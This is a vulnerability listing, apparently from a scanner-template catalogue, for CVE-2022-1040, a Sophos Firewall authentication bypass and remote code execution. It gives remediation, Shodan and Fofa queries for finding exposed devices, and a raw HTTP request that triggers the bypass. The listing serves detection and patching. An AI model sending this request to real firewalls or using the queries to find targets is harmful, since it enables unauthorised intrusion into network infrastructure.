| Title | Sophos Firewall <=18.5 MR3 - Remote Code Execution |
|---|---|
| Author | For3stCo1d |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system, potentially leading to complete compromise of the firewall. |
| Remediation | Upgrade to a patched version of Sophos Firewall (>=18.5 MR4) to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94439 |
| CVE ID | CVE-2022-1040 |
| CWE ID | CWE-287 |
| Shodan Query | http.title:"Sophos"http.title:"sophos" |
| Fofa Query | title="sophos" |
| Tags | cve cve2022 sophos firewall auth-bypass rce kev vkev vuln |
Sophos Firewall version v18.5 MR3 and older contains an authentication bypass vulnerability in the User Portal and Webadmin which could allow a remote attacker to execute code.
POST /userportal/Controller?mode=8700&operation=1&datagrid=179&json={"%f0%9f%a6%9e":"test"} HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Content-Length: 0
Accept: */*
Accept-Language: en
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-1040.yaml
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